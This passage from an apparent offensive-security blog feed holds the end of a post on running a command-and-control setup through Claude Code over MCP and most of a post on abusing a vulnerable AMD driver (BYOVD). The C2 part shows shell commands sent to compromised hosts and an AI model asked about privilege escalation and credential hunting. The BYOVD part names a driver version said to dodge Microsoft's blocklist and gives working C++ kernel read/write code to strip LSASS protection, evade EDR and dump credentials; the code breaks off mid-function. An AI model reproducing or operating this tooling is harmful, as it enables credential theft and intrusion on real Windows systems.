      </span><span class="nl">"headers"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"Authorization"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Bearer your_secret_here"</span><span class="w"> </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Start the MCP server on the VPS:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">-X</span> POST http://localhost:8080/mcp/start <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"secret":"your_secret_here"}'</span>
</code></pre></div></div>

<p>Then open Claude Code. The MCP tools appear automatically and are ready to use.</p>

<hr />

<h2 id="daily-workflow-mcp-mode">Daily Workflow (MCP Mode)</h2>

<p>Once everything is running, operator sessions look like this in Claude Code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; list_agents

Agents: 3 total, 2 online

AGENT ID                  HOSTNAME        OS           USER    IP              STATUS
--------------------------------------------------------------------------------------
workstation-sys-ab12      WORKSTATION     Windows 11   alice   192.168.1.10    ONLINE
server-sys-cd34           FILESERVER      Windows 11   SYSTEM  192.168.1.20    ONLINE
raspi-sys-ef56            raspberrypi     Linux 6.1    root    192.168.1.50    offline (142s ago)


&gt; run_shell("workstation-sys-ab12", "whoami /priv")

EXIT CODE: 0
PRIVILEGE INFORMATION
Privilege Name                Description                    State
============================= ============================== ========
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
...
</code></pre></div></div>

<p>Because this is happening inside Claude Code, you can immediately follow up: <em>“Which of those privileges are interesting for local privesc?”</em> and Claude answers with full context of the output it just received. That continuous session context is the part that makes this feel genuinely different from a traditional implant framework.</p>

<hr />

<h2 id="after-a-restart">After a Restart</h2>

<p><code class="language-plaintext highlighter-rouge">listener.py</code> and the Cloudflare tunnel come back automatically via systemd. The MCP server is on-demand, so:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">py</span><span class="w"> </span><span class="nx">commander.py</span><span class="w"> </span><span class="nx">mcp-start</span><span class="w">
</span><span class="n">claude</span><span class="w"> </span><span class="nt">--resume</span><span class="w">
</span></code></pre></div></div>

<p>The stable tunnel URL means no re-registration. Agents reconnect on their next beacon cycle.</p>

<hr />

<h2 id="-bonus-content-for-members-all-tiers-">🎁 <strong><em>Bonus Content for Members! (All Tiers)</em></strong> 🎁</h2>

<h2 id="the-claude-skillsmd-file-to-setup-everything-covered-in-this-blog-post">The Claude Skills.md file to setup everything covered in this Blog Post</h2>

<p>Don’t want to trudge through all the source code?  Just point this skill file to Claude and let Claude do all the heavy lifting for you! 😺</p>

<p>This will setup everything you need from start to finish.  It’s very comprehensive and should make for an easy install</p>

<p><a href="https://ko-fi.com/s/95b4255fc2">Claude Skills File</a></p>

<h2 id="the-c2-gui">The C2 GUI</h2>

<p><a href="https://ko-fi.com/s/4603f26d83">Code for the C2 PYQT GUI</a></p>

<p>Full transparency, I vibe coded this 😸</p>

<p>For situations where you want a point-and-click interface outside Claude Code, <code class="language-plaintext highlighter-rouge">c2_console.py</code> is a PyQt6 GUI that talks to the same <code class="language-plaintext highlighter-rouge">listener.py</code> HTTP API.</p>

<p><img width="1914" height="996" alt="image" src="https://github.com/user-attachments/assets/486c902e-6937-4696-9e6f-aa3d4de2924d" /></p>

<p><img width="1072" height="478" alt="image" src="https://github.com/user-attachments/assets/8c1ce662-46a4-48b1-964d-5eda1b46637c" /></p>

<p>Agents appear in a tree view color-coded by status (gold for primary target, green for online, dim gray for offline). Right-click any agent for quick commands that auto-select the right variant for the platform – <code class="language-plaintext highlighter-rouge">ipconfig /all</code> on Windows, <code class="language-plaintext highlighter-rouge">ip addr</code> on Linux, etc.</p>

<p>The <strong>Ask Claude</strong> button is the part I’m most happy with. It opens a dialog with the current output pane pre-loaded as context. You type a question and it streams a response from <code class="language-plaintext highlighter-rouge">claude -p</code> directly into the dialog. Run <code class="language-plaintext highlighter-rouge">tasklist</code>, click Ask Claude, ask “Anything interesting here from a persistence or credential hunting perspective?” – instant analysis without copy-pasting.</p>

<hr />

<h2 id="what-id-do-differently">What I’d Do Differently</h2>

<p>A few things that would make this more production-hardened:</p>

<ul>
  <li><strong>Encrypted payloads</strong>: tasks and results are currently plaintext JSON. HTTPS handles transport encryption but payload-level encryption would protect against a compromised broker SQLite.</li>
  <li><strong>Implant hardening</strong>: <code class="language-plaintext highlighter-rouge">svc.py</code> sits on disk in plaintext. For anything beyond a lab you’d want it packed or loaded from memory.</li>
  <li><strong>The Obvious…Add More Commands!</strong>: I just threw this together to demonstrate the capabilities of Claude in managing a mimimal C2 setup.  If I really grew this out more, I’d add privilege escalation, BOF options, etc.</li>
</ul>

<hr />

<h2 id="wrapping-up">Wrapping Up</h2>

<p>Having Claude Code as your operator console means analysis, pivoting, and post-exploitation research all happen in the same context. You run a command, get output, ask a question about it, and follow up.  All in one flowing session. That’s the part I didn’t fully anticipate when I started building this, and it’s the part I’d keep even if I ditched everything else.</p>

<p>All Source Code is in the repo, linked below. If you have questions drop them in the comments or hit me up on Discord</p>

<p><a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2026-6-26-How%20to%20Create%20a%20Makeshift%20C2%20with%20Claude%20Code%20as%20the%20Operator">Source Code</a></p>

<hr />

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="C2" /><category term="Claude Code" /><category term="MCP" /><category term="C2" /><category term="Python" /><category term="VPS" /><category term="2026" /><category term="Cloudflare Tunnels" /><category term="g3tsyst3m" /><summary type="html"><![CDATA[I’ve been wanting to build my own basic C2 using AI as a controller ever since I first started dabbling in Claude Code and its MCP integration. When I dug a bit deeper into what all the MCP protocol could accomplish, I knew I had to explore it further from more of an offensive security angle. In short, MCP is a standardized way to give an AI assistant structured tools it can call, similar to functions. I figured if I can expose my C2’s operator actions as MCP tools, then Claude isn’t just sitting in a chat window answering questions. It becomes the actual operator interface. I run a command, get output, ask a follow-up question, pivot based on the answer. All of it handled within one continuous session without switching contexts or copy-pasting between windows. Sounds pretty cool right?]]></summary></entry><entry><title type="html">BYOVD and Looting LSASS in the Modern EDR Era</title><link href="https://g3tsyst3m.com/byovd/BYOVD-and-Looting-LSASS-in-the-Modern-EDR-Era/" rel="alternate" type="text/html" title="BYOVD and Looting LSASS in the Modern EDR Era" /><published>2026-05-29T00:00:00+00:00</published><updated>2026-05-29T00:00:00+00:00</updated><id>https://g3tsyst3m.com/byovd/BYOVD%20and%20Looting%20LSASS%20in%20the%20Modern%20EDR%20Era</id><content type="html" xml:base="https://g3tsyst3m.com/byovd/BYOVD-and-Looting-LSASS-in-the-Modern-EDR-Era/"><![CDATA[<p>I still remember when Mimikatz dropped in 2011. It was a wild time in offensive security, and a period where a single tool could expose fundamental weaknesses in Windows credential handling and force the entire ecosystem to level up. Features like Protected Process Light (PPL), hardened LSASS protections, and vastly improved ETW telemetry didn’t emerge in a vacuum; they were, in part, Microsoft’s response to researchers openly demonstrating just how broken things were. It was an era defined by deep technical curiosity and creative problem-solving on both sides of the fence, and this was long before AI entered the chat.</p>

<p>Leaping ahead to 2026, the end goal remains the same, but the path to get there has shifted drastically.  What was once a simple matter of tossing mimikatz onto a machine and scraping the freely available, cleartext wdigest creds, has become a more involved process.  Now, we’re faced with a few unique but not all too unfamiliar challenges.  Here are just a few off the top of my head:</p>

<ul>
  <li>We need to evade or in some cases neutralize EDR ,though I’m of the opinion the latter is much noisier of an option</li>
  <li>Processes like the coveted <code class="language-plaintext highlighter-rouge">LSASS</code> now have PPL protection and the many usermode tools that can be used to bypass PPL are heavily signatured</li>
  <li>Many offsec tools are flagged in general and need to be ran in-memory, using many preferred techniques by yours truly such as an in-memory PE loader</li>
  <li>Vulnerable driver blacklists and HVCI</li>
</ul>

<p>In cases like the one we’re facing, we traditionally would turn to BYOVD.  Well, I can say not much has changed there, though we will need to get creative in either locating a completely new, undiscovered driver vulnerability.  Or, you could be lazy like me and find a driver that has already been discovered and just use that, albeit a version that hasn’t been caught by the blocklist yet 😸</p>

<p>In today’s post, we will be uncovering the internals of kernel driver vulnerabilities and how to leverage them via the <code class="language-plaintext highlighter-rouge">BYOVD</code> (Bring Your Own Vulnerable Driver) method of attack. We will use kernel access to disable PPL for the LSASS process and then proceed to dump the process to disk, XOR’ing it beforehand so it avoids detection by popular EDR solutions.  Let’s begin!</p>

<h2 id="finding-a-signed-driver-thats-not-on-the-microsoft-blocklist">Finding a Signed Driver that’s not on the Microsoft Blocklist</h2>

<p>I basically start at <strong>loldrivers.io</strong> or <strong>malshare.com</strong> and download a few drivers to see if they raised a flag concerning the Microsoft Vulnerable Driver Blocklist detection.  Also just FYI, I  have all the necessary security controls enabled beforehand that should prevent this particular driver from loading, such as:</p>

<p><img width="898" height="677" alt="image" src="https://github.com/user-attachments/assets/0640b218-3619-47cc-a4d6-d55ff14c6f2a" /><img width="586" height="701" alt="image" src="https://github.com/user-attachments/assets/61ad5e67-a9fd-4e24-9f83-ff0ce8ec423b" /><img width="492" height="447" alt="image" src="https://github.com/user-attachments/assets/8a921097-5b96-4631-b0ad-83e287b13137" /><img width="528" height="756" alt="image" src="https://github.com/user-attachments/assets/250862e9-05db-4ed3-a7a0-5258d4aff722" /></p>

<p>I decided on <strong>PDFWKRNL.sys</strong>, which is vulnerable to a host of vulnerabilities such as a read and write memory primitive, thus making this driver a great candidate for overwriting our PPL value in LSASS to 0x00 effectively neutralizing PPL.  You want to try out different versions of the vulnerable driver.  I cannot stress that enough! Just because the driver is known by microsoft as a known flagged driver, doesn’t mean every working version will be flagged.  That brings me to my next point: If we scroll down this page a bit, you’ll find the version of the driver with sha256 hash value: <strong>6945077a6846af3e4e2f6a2f533702f57e993c5b156b6965a552d6a5d63b7402</strong></p>

<p><a href="https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/f0db5af13c457a299a64cf524c64b042.bin">PDFWKRNL.sys</a></p>

<p><img width="1354" height="754" alt="image" src="https://github.com/user-attachments/assets/8e6aec82-16ce-4b5e-a58f-e6d14a298418" /></p>

<p>That’s the driver I am using for this post that is yet to be flagged by Microsoft’s block list 😼  Credit where credit is due.  I learned a lot from hfiref0x’s KDU repo: <a href="https://github.com/hfiref0x/KDU">KDU</a></p>

<p>I tested a few drivers using that tool before I decided to produce my own code to load the vulnerable <strong>PDFWKRNL.sys</strong> driver.  I admittedly borrowed from the previously discovered IOCTL code and symlink name for the driver, but then to better understand how this vulnerability was discovered, I took to binary ninja to explore for myself!</p>

<h2 id="the-inner-workings-of-pdfwkrnlsys">The Inner workings of PDFWKRNL.sys</h2>

<p><strong>Step 1 — Tracing IOCTL 0x80002014 through the dispatch table</strong></p>

<p>We know from KDU’s previously researched info that the IOCTL code we are concerned with is <strong>0x80002014</strong>.  Let’s start with <strong>sub_140001000</strong>, which calculates both the IOCTL and the function that should be called based on a number of calculations we will explore below.  Long story short: the IOCTL value is not in cleartext when reversing this driver 😸</p>

<p>Let’s start with how did we arrive at the <strong>0x8000</strong> value?  Here’s how it works:</p>

<p>Windows IOCTL codes are structured 32-bit values built by the <strong>CTL_CODE macro</strong>:</p>

<ul>
  <li>bits 31-16  device type    (<strong>0x8000 here</strong>)</li>
  <li>bits 15-14  required access</li>
  <li>bits 13- 2  function code  (the meaningful part)</li>
  <li>bits  1- 0  transfer method (buffered/direct/neither)</li>
</ul>

<p>Moreover, we can see this info in Binary Ninja.  That information, including the device name, just so happens to be in cleartext and doesn’t have to be deciphered!</p>

<p><img width="901" height="392" alt="image" src="https://github.com/user-attachments/assets/4a730dcc-cdd6-4ad1-9136-f70d3c356bd3" /></p>

<p><strong>So again…How did we arrive at value 0x8000 for the start of our IOCTL code?</strong></p>

<p>Microsoft reserves device types below <strong>0x8000</strong> for official Windows device types (FILE_DEVICE_DISK, FILE_DEVICE_KEYBOARD, FILE_DEVICE_UNKNOWN, etc.).</p>

<p>Third-party vendors (like AMD) must use values <strong>0x8000</strong> and above for their custom device types.  <strong>0x8000</strong> is the most common value used by many vendors for custom/software-only drivers. It’s essentially saying: “This is a vendor-defined device type”.</p>

<p><strong>How about 0x2000 after the 0x8000?</strong></p>

<p>Glad you asked 😺</p>

<p>This value is calculated, borrowing from the two’s complement of the constant in the instruction.  This took me FOREVER to figure out which is kind of embarrassing and humbling for me lol!</p>

<p>The instruction is add eax, 0x7fffe000. Adding a constant is the same as subtracting its two’s complement negation:</p>

<p>~0x7fffe000 + 1
  = 0x80001fff + 1
  = 0x80002000</p>

<p><img width="909" height="497" alt="image" src="https://github.com/user-attachments/assets/3908a492-1a62-4810-8cc5-12122602ef19" /></p>

<p>So <strong>add eax, 0x7fffe000</strong> in 32-bit arithmetic is identical to <strong>sub eax, 0x80002000</strong></p>

<p>Next, there’s the final 0x14.  How did we arrive at that?  That’s the case value we’re looking for that points to the memory write primitive!</p>

<p><img width="670" height="346" alt="image" src="https://github.com/user-attachments/assets/369b1257-7ce3-4764-bfe4-343883ae12cd" /></p>

<p><strong>Why this is a vulnerability?</strong></p>

<p>There is zero validation.  No ProbeForRead/ProbeForWrite, no canonical address check, no bounds check. Any process that can open <strong>\.\PdFwKrnl</strong> gets a ring-0 <strong>memmove</strong> with fully attacker-controlled src, dst, and size:</p>

<ul>
  <li>Read primitive: dst = usermode buffer, src = any kernel VA → copies kernel memory to userspace</li>
  <li>Write primitive: dst = any kernel VA, src = usermode payload → overwrites arbitrary kernel memory</li>
</ul>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">1400012</span><span class="n">ae</span>                            <span class="nf">sub_1400016c0</span><span class="p">(</span>
<span class="mi">1400012</span><span class="n">ae</span>                                <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">MasterIrp</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">),</span> 
<span class="mi">1400012</span><span class="n">ae</span>                                <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">MasterIrp</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">),</span> 
<span class="mi">1400012</span><span class="n">ae</span>                                <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">MasterIrp</span><span class="p">[</span><span class="mh">0xa</span><span class="p">]);</span>
<span class="mi">1400012</span><span class="n">b3</span>                            <span class="n">arg2</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Information</span> <span class="o">=</span> <span class="mh">0x30</span><span class="p">;</span>
</code></pre></div></div>

<p>I am forever appreciative of the original research that went into discovering the IOCTL value.  It would have taken me a very long time to discover that on my own, I can assure you 😸  But yeah, that’s the general breakdown on how this driver vulnerability plays out and why it’s a great candidate for BYOVD and removing PPL protection on LSASS.  Now, on to the next best part, the code!</p>

<h2 id="code-for-the-ppl-removal--exploit-harness-for-pdfwkrnlsys">Code for the PPL Removal / Exploit Harness for PDFWKRNL.sys</h2>

<p>It’s time for the highly anticipated code portion of this post!  Let’s go head and get started.  We will begin with defining the IOCTL value we wish to work with, as well as the 0x48 byte structure which is required for the IOCTL check. the 0x30 in the screenshot below is the buffer check of 0x30 or 48 in decimal, followed by the memcpy/memmove values!</p>

<p><img width="765" height="441" alt="image" src="https://github.com/user-attachments/assets/104c5429-31ca-4b24-b5fe-8d0c6f8bb6d4" /></p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">rsi</span><span class="o">+</span><span class="mh">0x28</span><span class="p">]</span>   <span class="c1">; size  ← BufAmdCopy.size   (32-bit read, upper 32 bits of u64 discarded)</span>
<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rsi</span><span class="o">+</span><span class="mh">0x18</span><span class="p">]</span>   <span class="c1">; src   ← BufAmdCopy.src</span>
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rsi</span><span class="o">+</span><span class="mh">0x10</span><span class="p">]</span>   <span class="c1">; dst   ← BufAmdCopy.dst</span>
<span class="nf">call</span> <span class="nv">sub_1400016c0</span>           <span class="c1">; memmove(dst, src, size)</span>
</code></pre></div></div>

<p>Microsoft x64 calling convention: <strong>rcx=arg1, rdx=arg2, r8=arg3</strong>.  This is exactly <strong>memmove(dst, src, size)</strong> with all three values coming unmodified from the usermode-supplied buffer. No sanitization between the jne and the call!</p>

<p>Now let’s plug those values into our code:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;vector&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;psapi.h&gt;</span><span class="cp">
</span>
<span class="cp">#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "psapi.lib")
</span>
<span class="c1">// --- AMD PDFW (PdFwKrnl) Specifics ---</span>
<span class="cp">#define IOCTL_AMDPDFW_MEMCPY 0x80002014 //our IOCTL value
</span>
<span class="c1">// This structure MUST be exactly 48 bytes</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">_PDFW_MEMCPY</span> <span class="p">{</span>
    <span class="n">BYTE</span>  <span class="n">Reserved</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>   <span class="c1">// 0x00 - 0x0F</span>
    <span class="n">PVOID</span> <span class="n">Destination</span><span class="p">;</span>    <span class="c1">// 0x10 &lt;--</span>
    <span class="n">PVOID</span> <span class="n">Source</span><span class="p">;</span>         <span class="c1">// 0x18 &lt;--</span>
    <span class="n">PVOID</span> <span class="n">Reserved2</span><span class="p">;</span>      <span class="c1">// 0x20</span>
    <span class="n">DWORD</span> <span class="n">Size</span><span class="p">;</span>           <span class="c1">// 0x28 &lt;--</span>
    <span class="n">DWORD</span> <span class="n">Reserved3</span><span class="p">;</span>      <span class="c1">// 0x2C</span>
<span class="p">}</span> <span class="n">PDFW_MEMCPY</span><span class="p">,</span> <span class="o">*</span> <span class="n">PPDFW_MEMCPY</span><span class="p">;</span>
</code></pre></div></div>

<p>Next up, we need to find the kernel offsets for the version of Windows this driver would be running on.  In my case, Windows 11 25h2.  Here are the values I pulled, and I’ll also show how I retrieved them.
It’s incredibly annoying having to debug in kernel mode, turning on debugging using bcdedit and restarting the machine.  Let’s make life easier for ourselves.  I just reverse engineer <strong>ntoskrnl.exe</strong> and do a static search for the <strong>_EPROCESS</strong> type.  Easy peezy!</p>

<p><img width="816" height="728" alt="image" src="https://github.com/user-attachments/assets/f49f882a-59da-441a-9303-f65396db1731" /></p>

<p>Our first two values are clearly visible!  Next, just scroll down a bit to reach ImageFileNameOffset and then ProtectionOffset:</p>

<p><img width="693" height="123" alt="image" src="https://github.com/user-attachments/assets/80216119-ebcd-42f2-8ea1-3f4f763ba9c5" /></p>

<p><img width="598" height="105" alt="image" src="https://github.com/user-attachments/assets/f059d358-0d03-4ceb-a2ad-c713277513fe" /></p>

<p>Now we just make our own struct to include those values, like so:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">KernelOffsets</span> <span class="p">{</span>
    <span class="n">ULONG64</span> <span class="n">UniqueProcessIdOffset</span> <span class="o">=</span> <span class="mh">0x1D0</span><span class="p">;</span>
    <span class="n">ULONG64</span> <span class="n">ActiveProcessLinksOffset</span> <span class="o">=</span> <span class="mh">0x1D8</span><span class="p">;</span>
    <span class="n">ULONG64</span> <span class="n">ImageFileNameOffset</span> <span class="o">=</span> <span class="mh">0x338</span><span class="p">;</span>
    <span class="n">ULONG64</span> <span class="n">ProtectionOffset</span> <span class="o">=</span> <span class="mh">0x5FA</span><span class="p">;</span> <span class="c1">// Offset for Build 26200</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Ok that’s the part that a lot of people could use a refresher on.  The next part I’m not going to spend as much time explaining.  We basically setup the memory read and write functions.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HANDLE</span> <span class="n">hDriver</span> <span class="o">=</span> <span class="n">INVALID_HANDLE_VALUE</span><span class="p">;</span>
<span class="n">KernelOffsets</span> <span class="n">Offsets</span><span class="p">;</span>

<span class="c1">// --- AMD PDFW Driver Communication ---</span>

<span class="kt">bool</span> <span class="nf">Amd_ReadMemory</span><span class="p">(</span><span class="n">DWORD64</span> <span class="n">Address</span><span class="p">,</span> <span class="n">PVOID</span> <span class="n">Buffer</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">Size</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">PDFW_MEMCPY</span> <span class="n">request</span><span class="p">;</span>
    <span class="n">RtlSecureZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">));</span>

    <span class="n">request</span><span class="p">.</span><span class="n">Destination</span> <span class="o">=</span> <span class="n">Buffer</span><span class="p">;</span>           <span class="c1">// Where we want the data (our local buffer)</span>
    <span class="n">request</span><span class="p">.</span><span class="n">Source</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="n">Address</span><span class="p">;</span>        <span class="c1">// Where the data is (kernel address)</span>
    <span class="n">request</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="n">Size</span><span class="p">;</span>

    <span class="n">DWORD</span> <span class="n">bytesReturned</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">IOCTL_AMDPDFW_MEMCPY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesReturned</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">bool</span> <span class="nf">Amd_WriteMemory</span><span class="p">(</span><span class="n">DWORD64</span> <span class="n">Address</span><span class="p">,</span> <span class="n">PVOID</span> <span class="n">Buffer</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">Size</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">PDFW_MEMCPY</span> <span class="n">request</span><span class="p">;</span>
    <span class="n">RtlSecureZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">));</span>

    <span class="n">request</span><span class="p">.</span><span class="n">Destination</span> <span class="o">=</span> <span class="p">(</span><span class="n">PVOID</span><span class="p">)</span><span class="n">Address</span><span class="p">;</span>   <span class="c1">// Where we want to write (kernel address)</span>
    <span class="n">request</span><span class="p">.</span><span class="n">Source</span> <span class="o">=</span> <span class="n">Buffer</span><span class="p">;</span>                <span class="c1">// What we want to write (our local buffer)</span>
    <span class="n">request</span><span class="p">.</span><span class="n">Size</span> <span class="o">=</span> <span class="n">Size</span><span class="p">;</span>

    <span class="n">DWORD</span> <span class="n">bytesReturned</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDriver</span><span class="p">,</span> <span class="n">IOCTL_AMDPDFW_MEMCPY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">request</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">request</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesReturned</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Helper wrapper for 64-bit reads</span>
<span class="n">DWORD64</span> <span class="nf">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">DWORD64</span> <span class="n">Address</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">DWORD64</span> <span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">Amd_ReadMemory</span><span class="p">(</span><span class="n">Address</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span> <span class="k">return</span> <span class="n">val</span><span class="p">;</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Next up, we need to setup a function to locate the PsInitialSystemProcess Offset.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ULONG64</span> <span class="nf">GetSystemEproc</span><span class="p">(</span><span class="n">ULONG64</span> <span class="n">ntosBase</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">HMODULE</span> <span class="n">ntos</span> <span class="o">=</span> <span class="n">LoadLibraryExA</span><span class="p">(</span><span class="s">"ntoskrnl.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">DONT_RESOLVE_DLL_REFERENCES</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ntos</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">DWORD64</span> <span class="n">addrInLocal</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">ntos</span><span class="p">,</span> <span class="s">"PsInitialSystemProcess"</span><span class="p">);</span>
    <span class="n">DWORD64</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">addrInLocal</span> <span class="o">-</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">ntos</span><span class="p">;</span>
    <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">ntos</span><span class="p">);</span>

    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"[*] PsInitialSystemProcess Offset: 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">offset</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">ReadMemoryDWORD64</span><span class="p">(</span><span class="n">ntosBase</span> <span class="o">+</span> <span class="n">offset</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now for the obligatory main function, which includes an argument parameter for our LSASS pid and the file handle to our driver in question:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Usage: "</span> <span class="o">&lt;&lt;</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="s">" &lt;Target PID&gt;"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">DWORD</span> <span class="n">targetPid</span> <span class="o">=</span> <span class="n">std</span><span class="o">::</span><span class="n">stoul</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Connect to Driver</span>
    <span class="n">hDriver</span> <span class="o">=</span> <span class="n">CreateFileW</span><span class="p">(</span><span class="s">L"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">Global</span><span class="se">\\</span><span class="s">PdFwKrnl"</span><span class="p">,</span> <span class="n">GENERIC_READ</span> <span class="o">|</span> <span class="n">GENERIC_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">OPEN_EXISTING</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">);</span>
